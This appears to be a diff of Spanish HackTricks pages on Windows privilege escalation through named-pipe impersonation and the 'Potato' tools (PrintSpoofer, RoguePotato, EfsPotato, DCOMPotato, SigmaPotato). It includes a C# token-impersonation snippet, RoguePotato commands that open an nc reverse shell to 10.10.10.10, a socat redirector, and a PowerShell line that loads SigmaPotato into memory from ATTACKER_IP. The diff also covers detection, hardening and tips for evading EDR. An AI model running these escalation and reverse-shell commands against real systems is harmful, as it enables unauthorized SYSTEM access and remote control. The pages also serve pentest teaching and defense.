- Prefiere DuplicateTokenEx con SecurityImpersonation y TokenPrimary para crear un token primario adecuado para la creación de procesos.
|
||||
|
||||
## .NET ejemplo rápido
|
||||
En .NET, NamedPipeServerStream puede impersonar mediante RunAsClient. Una vez que se impersona, duplica el token del hilo y crea un proceso.
|
||||
En .NET, NamedPipeServerStream puede impersonate a través de RunAsClient. Una vez impersonating, duplica el thread token y crea un proceso.
|
||||
```csharp
|
||||
using System; using System.IO.Pipes; using System.Runtime.InteropServices; using System.Diagnostics;
|
||||
class P {
|
||||
@ -92,13 +93,13 @@ Process pi; CreateProcessWithTokenW(p, 2, null, null, 0, IntPtr.Zero, null, ref
|
||||
}
|
||||
}
|
||||
```
|
||||
## Disparadores/coerciones comunes para llevar SYSTEM a tu pipe
|
||||
Estas técnicas coaccionan servicios privilegiados para que se conecten a tu named pipe y así puedas impersonatearlos:
|
||||
## Desencadenantes/coerciones comunes para conseguir que SYSTEM se conecte a tu named pipe
|
||||
Estas técnicas fuerzan a servicios privilegiados a conectarse a tu named pipe para que puedas suplantarlos:
|
||||
- Print Spooler RPC trigger (PrintSpoofer)
|
||||
- DCOM activation/NTLM reflection variants (RoguePotato/JuicyPotato[NG], GodPotato)
|
||||
- EFSRPC pipes (EfsPotato/SharpEfsPotato)
|
||||
|
||||
Consulta el uso detallado y la compatibilidad aquí:
|
||||
Ver uso detallado y compatibilidad aquí:
|
||||
|
||||
-
|
||||
{{#ref}}
|
||||
@ -109,7 +110,7 @@ roguepotato-and-printspoofer.md
|
||||
juicypotato.md
|
||||
{{#endref}}
|
||||
|
||||
Si solo necesitas un ejemplo completo de cómo crear la pipe e impersonar para spawnear SYSTEM desde un service trigger, consulta:
|
||||
Si solo necesitas un ejemplo completo de cómo crear el pipe y suplantar para iniciar SYSTEM desde un desencadenante de servicio, consulta:
|
||||
|
||||
-
|
||||
{{#ref}}
|
||||
@ -117,19 +118,19 @@ from-high-integrity-to-system-with-name-pipes.md
|
||||
{{#endref}}
|
||||
|
||||
## Solución de problemas y advertencias
|
||||
- Debes leer al menos un mensaje desde la pipe antes de llamar a ImpersonateNamedPipeClient; de lo contrario obtendrás ERROR_CANNOT_IMPERSONATE (1368).
|
||||
- Si el cliente se conecta con SECURITY_SQOS_PRESENT | SECURITY_IDENTIFICATION, el servidor no puede impersonatear completamente; verifica el nivel de impersonation del token vía GetTokenInformation(TokenImpersonationLevel).
|
||||
- CreateProcessWithTokenW requiere SeImpersonatePrivilege en el llamador. Si falla con ERROR_PRIVILEGE_NOT_HELD (1314), usa CreateProcessAsUser después de que ya hayas impersonateado SYSTEM.
|
||||
- Asegúrate de que el security descriptor de tu pipe permita al servicio objetivo conectarse si lo endureces; por defecto, las pipes bajo \\.\pipe son accesibles según la DACL del servidor.
|
||||
- Debes leer al menos un mensaje del pipe antes de llamar a ImpersonateNamedPipeClient; de lo contrario obtendrás ERROR_CANNOT_IMPERSONATE (1368).
|
||||
- Si el cliente se conecta con SECURITY_SQOS_PRESENT | SECURITY_IDENTIFICATION, el servidor no puede suplantar completamente; verifica el nivel de impersonation del token con GetTokenInformation(TokenImpersonationLevel).
|
||||
- CreateProcessWithTokenW requiere SeImpersonatePrivilege en el llamador. Si eso falla con ERROR_PRIVILEGE_NOT_HELD (1314), usa CreateProcessAsUser después de haber suplantado a SYSTEM.
|
||||
- Asegúrate de que el security descriptor de tu pipe permita al servicio objetivo conectarse si lo endureces; por defecto, los pipes bajo \\.\pipe son accesibles según la DACL del servidor.
|
||||
|
||||
## Detección y hardening
|
||||
- Monitoriza la creación y las conexiones a named pipes. Los Sysmon Event IDs 17 (Pipe Created) y 18 (Pipe Connected) son útiles para establecer una línea base de nombres de pipe legítimos y detectar pipes inusuales, con apariencia aleatoria, que preceden a eventos de manipulación de tokens.
|
||||
- Busca secuencias: un proceso crea una pipe, un servicio SYSTEM se conecta, y luego el proceso creador genera un hijo como SYSTEM.
|
||||
- Reduce la exposición quitando SeImpersonatePrivilege de cuentas de servicio no esenciales y evitando logons de servicio innecesarios con privilegios altos.
|
||||
- Desarrollo defensivo: al conectarte a named pipes no confiables, especifica SECURITY_SQOS_PRESENT con SECURITY_IDENTIFICATION para evitar que los servidores impersonateen completamente al cliente salvo que sea necesario.
|
||||
## Detección y endurecimiento
|
||||
- Monitorea la creación y las conexiones a named pipes. Sysmon Event IDs 17 (Pipe Created) y 18 (Pipe Connected) son útiles para establecer una línea base de nombres de pipe legítimos y detectar pipes inusuales, con aspecto aleatorio, que preceden a eventos de manipulación de tokens.
|
||||
- Busca secuencias: un proceso crea un pipe, un servicio SYSTEM se conecta, y luego el proceso creador lanza un hijo como SYSTEM.
|
||||
- Reduce la exposición eliminando SeImpersonatePrivilege de cuentas de servicio no esenciales y evitando inicios de sesión de servicio innecesarios con privilegios elevados.
|
||||
- Desarrollo defensivo: al conectarse a named pipes no confiables, especifica SECURITY_SQOS_PRESENT con SECURITY_IDENTIFICATION para evitar que los servidores puedan suplantar completamente al cliente a menos que sea necesario.
|
||||
|
||||
## Referencias
|
||||
- Windows: ImpersonateNamedPipeClient documentation (impersonation requirements and behavior). https://learn.microsoft.com/en-us/windows/win32/api/namedpipeapi/nf-namedpipeapi-impersonatenamedpipeclient
|
||||
- ired.team: Windows named pipes privilege escalation (walkthrough and code examples). https://ired.team/offensive-security/privilege-escalation/windows-namedpipes-privilege-escalation
|
||||
- Windows: documentación de ImpersonateNamedPipeClient (requisitos y comportamiento de impersonation). https://learn.microsoft.com/en-us/windows/win32/api/namedpipeapi/nf-namedpipeapi-impersonatenamedpipeclient
|
||||
- ired.team: Windows named pipes privilege escalation (guía y ejemplos de código). https://ired.team/offensive-security/privilege-escalation/windows-namedpipes-privilege-escalation
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -3,10 +3,10 @@
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
> [!WARNING]
|
||||
> **JuicyPotato doesn't work** on Windows Server 2019 and Windows 10 build 1809 onwards. However, [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato)**,** [**GodPotato**](https://github.com/BeichenDream/GodPotato)**,** [**EfsPotato**](https://github.com/zcgonvh/EfsPotato)**,** [**DCOMPotato**](https://github.com/zcgonvh/DCOMPotato)** can be used to **leverage the same privileges and gain `NT AUTHORITY\SYSTEM`** level access. This [blog post](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/) goes in-depth on the `PrintSpoofer` tool, which can be used to abuse impersonation privileges on Windows 10 and Server 2019 hosts where JuicyPotato no longer works.
|
||||
> **JuicyPotato no funciona** en Windows Server 2019 y Windows 10 build 1809 en adelante. Sin embargo, [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato)**,** [**GodPotato**](https://github.com/BeichenDream/GodPotato)**,** [**EfsPotato**](https://github.com/zcgonvh/EfsPotato)**,** [**DCOMPotato**](https://github.com/zcgonvh/DCOMPotato)** pueden usarse para **aprovechar los mismos privilegios y obtener acceso a nivel `NT AUTHORITY\SYSTEM`**. Este [blog post](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/) profundiza en la herramienta `PrintSpoofer`, que puede usarse para abusar de impersonation privileges en hosts Windows 10 y Server 2019 donde JuicyPotato ya no funciona.
|
||||
|
||||
> [!TIP]
|
||||
> Una alternativa moderna frecuentemente mantenida en 2024–2025 es SigmaPotato (un fork de GodPotato) que añade uso en memoria / reflexión .NET y soporte extendido de OS. Ver uso rápido más abajo y el repo en Referencias.
|
||||
> Una alternativa moderna, frecuentemente mantenida en 2024–2025, es SigmaPotato (un fork de GodPotato) que añade in-memory/.NET reflection usage y soporte extendido de OS. Consulta el uso rápido más abajo y el repo en References.
|
||||
|
||||
Related pages for background and manual techniques:
|
||||
|
||||
@ -22,7 +22,7 @@ from-high-integrity-to-system-with-name-pipes.md
|
||||
privilege-escalation-abusing-tokens.md
|
||||
{{#endref}}
|
||||
|
||||
## Requisitos y puntos a tener en cuenta
|
||||
## Requisitos y advertencias comunes
|
||||
|
||||
All the following techniques rely on abusing an impersonation-capable privileged service from a context holding either of these privileges:
|
||||
|
||||
@ -35,10 +35,10 @@ whoami /priv | findstr /i impersonate
|
||||
```
|
||||
Notas operativas:
|
||||
|
||||
- PrintSpoofer necesita que el servicio Print Spooler esté en ejecución y accesible a través del endpoint RPC local (spoolss). En entornos hardening donde Spooler está deshabilitado tras PrintNightmare, prefiera RoguePotato/GodPotato/DCOMPotato/EfsPotato.
|
||||
- RoguePotato requiere un OXID resolver accesible en TCP/135. Si egress está bloqueado, use un redirector/port-forwarder (ver ejemplo abajo). Las builds antiguas necesitaban la bandera -f.
|
||||
- EfsPotato/SharpEfsPotato abusan de MS-EFSR; si una pipe está bloqueada, pruebe pipes alternativos (lsarpc, efsrpc, samr, lsass, netlogon).
|
||||
- Error 0x6d3 durante RpcBindingSetAuthInfo típicamente indica un servicio de autenticación RPC desconocido/no soportado; pruebe una pipe/transporte diferente o asegúrese de que el servicio objetivo esté en ejecución.
|
||||
- PrintSpoofer necesita que el servicio Print Spooler esté en ejecución y accesible a través del endpoint RPC local (spoolss). En entornos reforzados donde Spooler está deshabilitado tras PrintNightmare, prefiera RoguePotato/GodPotato/DCOMPotato/EfsPotato.
|
||||
- RoguePotato requiere un resolvedor OXID accesible en TCP/135. Si el egress está bloqueado, use un redirector/port-forwarder (ver ejemplo abajo). Las versiones antiguas necesitaban la opción -f.
|
||||
- EfsPotato/SharpEfsPotato abusan de MS-EFSR; si una pipe está bloqueada, pruebe pipes alternativas (lsarpc, efsrpc, samr, lsass, netlogon).
|
||||
- El error 0x6d3 durante RpcBindingSetAuthInfo típicamente indica un servicio de autenticación RPC desconocido/no soportado; pruebe una pipe/transport diferente o asegúrese de que el servicio objetivo esté en ejecución.
|
||||
|
||||
## Demostración rápida
|
||||
|
||||
@ -58,7 +58,7 @@ NULL
|
||||
|
||||
```
|
||||
Notas:
|
||||
- Puedes usar -i para iniciar un proceso interactivo en la consola actual, o -c para ejecutar un one-liner.
|
||||
- Puedes usar -i para spawn un proceso interactivo en la consola actual, o -c para ejecutar un one-liner.
|
||||
- Requiere el servicio Spooler. Si está deshabilitado, esto fallará.
|
||||
|
||||
### RoguePotato
|
||||
@ -67,7 +67,7 @@ c:\RoguePotato.exe -r 10.10.10.10 -c "c:\tools\nc.exe 10.10.10.10 443 -e cmd" -l
|
||||
# In some old versions you need to use the "-f" param
|
||||
c:\RoguePotato.exe -r 10.10.10.10 -c "c:\tools\nc.exe 10.10.10.10 443 -e cmd" -f 9999
|
||||
```
|
||||
Si outbound 135 está bloqueado, pivot the OXID resolver via socat on your redirector:
|
||||
Si el puerto 135 saliente está bloqueado, pivot the OXID resolver via socat en tu redirector:
|
||||
```bash
|
||||
# On attacker redirector (must listen on TCP/135 and forward to victim:9999)
|
||||
socat tcp-listen:135,reuseaddr,fork tcp:VICTIM_IP:9999
|
||||
@ -111,7 +111,7 @@ CVE-2021-36942 patch bypass (EfsRpcEncryptFileSrv method) + alternative pipes su
|
||||
|
||||
nt authority\system
|
||||
```
|
||||
Consejo: Si una pipe falla o EDR la bloquea, prueba con las otras pipes compatibles:
|
||||
Consejo: Si un pipe falla o EDR lo bloquea, prueba los otros pipes compatibles:
|
||||
```text
|
||||
EfsPotato <cmd> [pipe]
|
||||
pipe -> lsarpc|efsrpc|samr|lsass|netlogon (default=lsarpc)
|
||||
@ -129,7 +129,7 @@ Notas:
|
||||
|
||||

|
||||
|
||||
DCOMPotato proporciona dos variantes dirigidas a objetos DCOM de servicio que por defecto usan RPC_C_IMP_LEVEL_IMPERSONATE. Compila o usa los binaries proporcionados y ejecuta tu comando:
|
||||
DCOMPotato proporciona dos variantes que apuntan a objetos DCOM de servicio que por defecto usan RPC_C_IMP_LEVEL_IMPERSONATE. Compila o usa los binaries proporcionados y ejecute su comando:
|
||||
```cmd
|
||||
# PrinterNotify variant
|
||||
PrinterNotifyPotato.exe "cmd /c whoami"
|
||||
@ -139,7 +139,7 @@ McpManagementPotato.exe "cmd /c whoami"
|
||||
```
|
||||
### SigmaPotato (fork actualizado de GodPotato)
|
||||
|
||||
SigmaPotato añade comodidades modernas como ejecución en memoria mediante .NET reflection y un helper de reverse shell en PowerShell.
|
||||
SigmaPotato añade mejoras modernas, como in-memory execution vía .NET reflection y un PowerShell reverse shell helper.
|
||||
```powershell
|
||||
# Load and execute from memory (no disk touch)
|
||||
[System.Reflection.Assembly]::Load((New-Object System.Net.WebClient).DownloadData("http://ATTACKER_IP/SigmaPotato.exe"))
|
||||
@ -150,11 +150,11 @@ SigmaPotato añade comodidades modernas como ejecución en memoria mediante .NET
|
||||
```
|
||||
## Notas de detección y endurecimiento
|
||||
|
||||
- Supervisar procesos que creen named pipes y llamen inmediatamente a token-duplication APIs seguidas de CreateProcessAsUser/CreateProcessWithTokenW. Sysmon puede aportar telemetría útil: Event ID 1 (process creation), 17/18 (named pipe created/connected), y líneas de comando que lancen procesos hijos como SYSTEM.
|
||||
- Endurecimiento del Spooler: Deshabilitar el servicio Print Spooler en servidores donde no sea necesario previene coerciones locales estilo PrintSpoofer a través de spoolss.
|
||||
- Endurecimiento de cuentas de servicio: Minimizar la asignación de SeImpersonatePrivilege/SeAssignPrimaryTokenPrivilege a servicios personalizados. Considerar ejecutar servicios bajo cuentas virtuales con los mínimos privilegios requeridos y aislarlos con service SID y tokens con restricciones de escritura cuando sea posible.
|
||||
- Controles de red: Bloquear TCP/135 saliente o restringir el tráfico del RPC endpoint mapper puede romper RoguePotato a menos que esté disponible un redirector interno.
|
||||
- EDR/AV: Todas estas herramientas tienen firmas ampliamente conocidas. Recompilar desde el código fuente, renombrar símbolos/cadenas o usar ejecución en memoria puede reducir la detección pero no derrotará detecciones comportamentales sólidas.
|
||||
- Supervisar procesos que crean named pipes y que llamen inmediatamente a APIs de duplicación de token seguidas de CreateProcessAsUser/CreateProcessWithTokenW. Sysmon puede mostrar telemetría útil: Event ID 1 (process creation), 17/18 (named pipe created/connected), y líneas de comando que lanzan procesos hijos como SYSTEM.
|
||||
- Endurecimiento del Spooler: Deshabilitar el servicio Print Spooler en servidores donde no se necesite evita coerciones locales al estilo PrintSpoofer vía spoolss.
|
||||
- Endurecimiento de cuentas de servicio: Minimizar la asignación de SeImpersonatePrivilege/SeAssignPrimaryTokenPrivilege a servicios personalizados. Considerar ejecutar servicios bajo cuentas virtuales con los mínimos privilegios requeridos y aislarlos con service SID y tokens con escritura restringida cuando sea posible.
|
||||
- Controles de red: Bloquear TCP/135 saliente o restringir el tráfico del RPC endpoint mapper puede romper RoguePotato a menos que haya un redirector interno disponible.
|
||||
- EDR/AV: Todas estas herramientas están ampliamente firmadas. Recompilar desde la fuente, renombrar símbolos/strings, o usar ejecución en memoria puede reducir la detección pero no derrotará detecciones comportamentales sólidas.
|
||||
|
||||
## Referencias
|
||||
|
||||
|
Loading…
x
Reference in New Issue
Block a user